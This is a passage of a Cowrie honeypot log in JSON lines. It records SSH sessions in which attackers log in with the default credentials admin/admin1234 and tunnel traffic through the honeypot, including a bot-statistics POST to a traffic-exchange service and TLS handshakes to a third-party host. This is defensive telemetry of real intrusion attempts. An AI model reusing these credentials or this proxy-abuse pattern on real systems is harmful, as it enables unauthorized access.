\\x9bM\\x19tw\\xf4O\\xf9\\x80\\xde\\xdd\\x82<\\x9f\\xf7m\\xe7\\xcd\\x15H\\x95\\x15\\n\\x16A\\xbd\\xcff\\x9a\\x07L\\xd5\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc5X~\\xbck\\x8a\\xb6\\xa8Qg\\xce\\x10\\xf6\\xd1^N,\\xf6\\xda2\\xa0>\\xe13\\x91sdrYvmE\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:41.555443Z","src_ip":"113.164.152.20","session":"9c1c6a608227","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:41.958493Z","src_ip":"113.164.152.20","session":"9c1c6a608227","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.192.194","src_port":53088,"dst_ip":"10.17.0.5","dst_port":22,"session":"7566084054a5","protocol":"ssh","message":"New connection: 173.208.192.194:53088 (10.17.0.5:22) [session: 7566084054a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:46.187935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:46.193784Z","src_ip":"173.208.192.194","session":"7566084054a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:46.319041Z","src_ip":"173.208.192.194","session":"7566084054a5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:47.333836Z","src_ip":"173.208.192.194","session":"7566084054a5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:52.603011Z","session":"7566084054a5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:52.680648Z","src_ip":"173.208.192.194","session":"7566084054a5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 5.2; P5200 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=PytHUVAvSkR4KEs4TTY2eg%3D%3DI4S3d0YkEHqgj2KCwtlHY76f5yUZgDpEU6Cz8WJzkbqfpE7HrRmaAf0wLVV6mqMyRwk5N1fX5swr1O%2FHEIrptKHqvO2hVM%2BgQ4P7NW2UM99rZ12XsBZVFj5bL4e8QR73KUX5tVuqRON22HeU0MtKUIyetVro8QYFAvjg0WiQRQjiFDckvdoXLQGNq8FI4ggIvw%2B1WiyO5RQttc0MgvOdi%2B9RMwvaWUK4dt3anz4L%2BWiG4B7Q7X5bIP1AqH96DPx6RAUQ6lwpdycXjeUaROnTk5%2FT1MTd7VvlgrJugLauAlAy6uJZSTxu6eX0Zsfj0DUzPdBwB7u3OCPFG5j0GcmmWekOvXqMen1MhCOmwc2uYGr%2B3DJbB29kncT879HMSt1sniM0DDJMqlUQnGUHNUH95WFq7q4wehyJ%2BMd5nASqJlWLe1AdrOsKNkOARM7l94DCvvBp0xjJ2Snhtmuuzo6Md6vZZutjADyxU%2BspdxI%2BcfxMNAHvoDVNmeRM31Coe9BTJ3DudEQj0KnBJEuKt6PSXwrHjYhZO6ijJEDv88z65AG%2FwZ91Gr101xmYiQ7U1HttVWyrEHOxz7H9bnKRhIT7eoOZcUliPdOm0mEnjkJkxBOK6NJqQ75%2BVhSZ9Inzl75hVn3%2Fg3UDFNuTLUgpy4ow2KuxifC1185%2FVY%2F2JViO7kOnCNxP%2BY3fD4JEviXfg9PvtcASfkqKt7rEdRQgp%2F0IeVs9nAGOj8FAwWAKEe2dRriX5J%2Fd9vDQoB0vN9mK0PyHPvPOD10T0sM8ZYN9XQBnlF2LQ8FxTVKKXudT9gcdAGbpInKtHES8MQkAN4MGX88CAPjmZ3zEMNauBA5e8blpb4et3Le%2F1MTT%2FAiU%2FbmPf%2FOtb6Ia8AeqGwnLAKwGQbmn3aQzJrwMKP%2FhHL9wsQvykn99ybiviLvBWaZubrN3SR9sxokH4jNlRUYFONkLzmaAr%2FDcbvNl65Dz685XZOdKX9VB8LkpA2hmi%2F0C8tCUX9wgwFrhvRQN08hmmkyu9u57pd9dQs3ap1JdMq3kp4yvRI8Cn6VC3FzBoa%2FXTmFjnVMD1bdZGoIBwXvns%2B5Pac1k'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 5.2; P5200 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=PytHUVAvSkR4KEs4TTY2eg%3D%3DI4S3d0YkEHqgj2KCwtlHY76f5yUZgDpEU6Cz8WJzkbqfpE7HrRmaAf0wLVV6mqMyRwk5N1fX5swr1O%2FHEIrptKHqvO2hVM%2BgQ4P7NW2UM99rZ12XsBZVFj5bL4e8QR73KUX5tVuqRON22HeU0MtKUIyetVro8QYFAvjg0WiQRQjiFDckvdoXLQGNq8FI4ggIvw%2B1WiyO5RQttc0MgvOdi%2B9RMwvaWUK4dt3anz4L%2BWiG4B7Q7X5bIP1AqH96DPx6RAUQ6lwpdycXjeUaROnTk5%2FT1MTd7VvlgrJugLauAlAy6uJZSTxu6eX0Zsfj0DUzPdBwB7u3OCPFG5j0GcmmWekOvXqMen1MhCOmwc2uYGr%2B3DJbB29kncT879HMSt1sniM0DDJMqlUQnGUHNUH95WFq7q4wehyJ%2BMd5nASqJlWLe1AdrOsKNkOARM7l94DCvvBp0xjJ2Snhtmuuzo6Md6vZZutjADyxU%2BspdxI%2BcfxMNAHvoDVNmeRM31Coe9BTJ3DudEQj0KnBJEuKt6PSXwrHjYhZO6ijJEDv88z65AG%2FwZ91Gr101xmYiQ7U1HttVWyrEHOxz7H9bnKRhIT7eoOZcUliPdOm0mEnjkJkxBOK6NJqQ75%2BVhSZ9Inzl75hVn3%2Fg3UDFNuTLUgpy4ow2KuxifC1185%2FVY%2F2JViO7kOnCNxP%2BY3fD4JEviXfg9PvtcASfkqKt7rEdRQgp%2F0IeVs9nAGOj8FAwWAKEe2dRriX5J%2Fd9vDQoB0vN9mK0PyHPvPOD10T0sM8ZYN9XQBnlF2LQ8FxTVKKXudT9gcdAGbpInKtHES8MQkAN4MGX88CAPjmZ3zEMNauBA5e8blpb4et3Le%2F1MTT%2FAiU%2FbmPf%2FOtb6Ia8AeqGwnLAKwGQbmn3aQzJrwMKP%2FhHL9wsQvykn99ybiviLvBWaZubrN3SR9sxokH4jNlRUYFONkLzmaAr%2FDcbvNl65Dz685XZOdKX9VB8LkpA2hmi%2F0C8tCUX9wgwFrhvRQN08hmmkyu9u57pd9dQs3ap1JdMq3kp4yvRI8Cn6VC3FzBoa%2FXTmFjnVMD1bdZGoIBwXvns%2B5Pac1k'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:52.683664Z","src_ip":"173.208.192.194","session":"7566084054a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43858,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdf7cce8d8d5","protocol":"telnet","message":"New connection: 128.199.8.54:43858 (159.203.135.109:23) [session: bdf7cce8d8d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:52.874486Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":50394,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5dbeec2d27f","protocol":"ssh","message":"New connection: 23.175.50.47:50394 (10.17.0.5:22) [session: e5dbeec2d27f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:56.993979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:56.999910Z","src_ip":"23.175.50.47","session":"e5dbeec2d27f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:57.078666Z","src_ip":"23.175.50.47","session":"e5dbeec2d27f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:58.317045Z","src_ip":"23.175.50.47","session":"e5dbeec2d27f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:00.540564Z","session":"7566084054a5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:00.575072Z","src_ip":"173.208.192.194","session":"7566084054a5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x14\\xeb\\x9e:\\x08|VI\\x96\\x93\\xf1\\xa9\\xb4\\xe2\\xcah\\xf6Js\\xe9{\\xcdor\\x94\\x92\\xfe\\xb6\\xfa\\xccg\\xfb Ph/\\xa4\\x89+\\xb2\\x97m\\xae\\x98\\xd6Y\\x98-0j\\xd2P\\x90\\xd0Wi\\xc4\\xe4\\x91\\xea]z<\\xe4{\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb6\\x00\\xb3\\x1b\\xadt\\xf4\\xb6\\xa0b\\xd2-\\x12\\xc2qLcO\\xd0#\\x00\\x17\\xe6\\x15\\x1fA\\xa1\\x13L\\x1c\\x10\\x01\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x14\\xeb\\x9e:\\x08|VI\\x96\\x93\\xf1\\xa9\\xb4\\xe2\\xcah\\xf6Js\\xe9{\\xcdor\\x94\\x92\\xfe\\xb6\\xfa\\xccg\\xfb Ph/\\xa4\\x89+\\xb2\\x97m\\xae\\x98\\xd6Y\\x98-0j\\xd2P\\x90\\xd0Wi\\xc4\\xe4\\x91\\xea]z<\\xe4{\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb6\\x00\\xb3\\x1b\\xadt\\xf4\\xb6\\xa0b\\xd2-\\x12\\xc2qLcO\\xd0#\\x00\\x17\\xe6\\x15\\x1fA\\xa1\\x13L\\x1c\\x10\\x01\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:00.578536Z","src_ip":"173.208.192.194","session":"7566084054a5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:00.614355Z","session":"7566084054a5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:00.654071Z","src_ip":"173.208.192.194","session":"7566084054a5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03(8\\xe0\\x9b\\xd3\\xa6\\xd5\\xa5x\\xa8~\\xba]P0\\xac\\x88\\xfc\\xa8\\xf7\\xe0\\n\\xd5\\t\\x08l\\xa7G\\xe7s\\rH \\x93U\\xa9\\x03[h\\xe2\\x8a^\\xf4>\\x08w\\xd0\\xcf\\x7f\\xcb\\x9c\\xac%\\xfc4\\x7f\\x0c\\xadC\\x12\\xac;\\xc1\\xf9\\xde\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x95\\xb9\\xe5y}v\\xef\\xd0\\x93\\x95\\x07\\xf39\\x17o\\x96[\\xecz\\x9a\\xf7\\xb1\\x0f\\xe0xBj\\xb7C\\x88 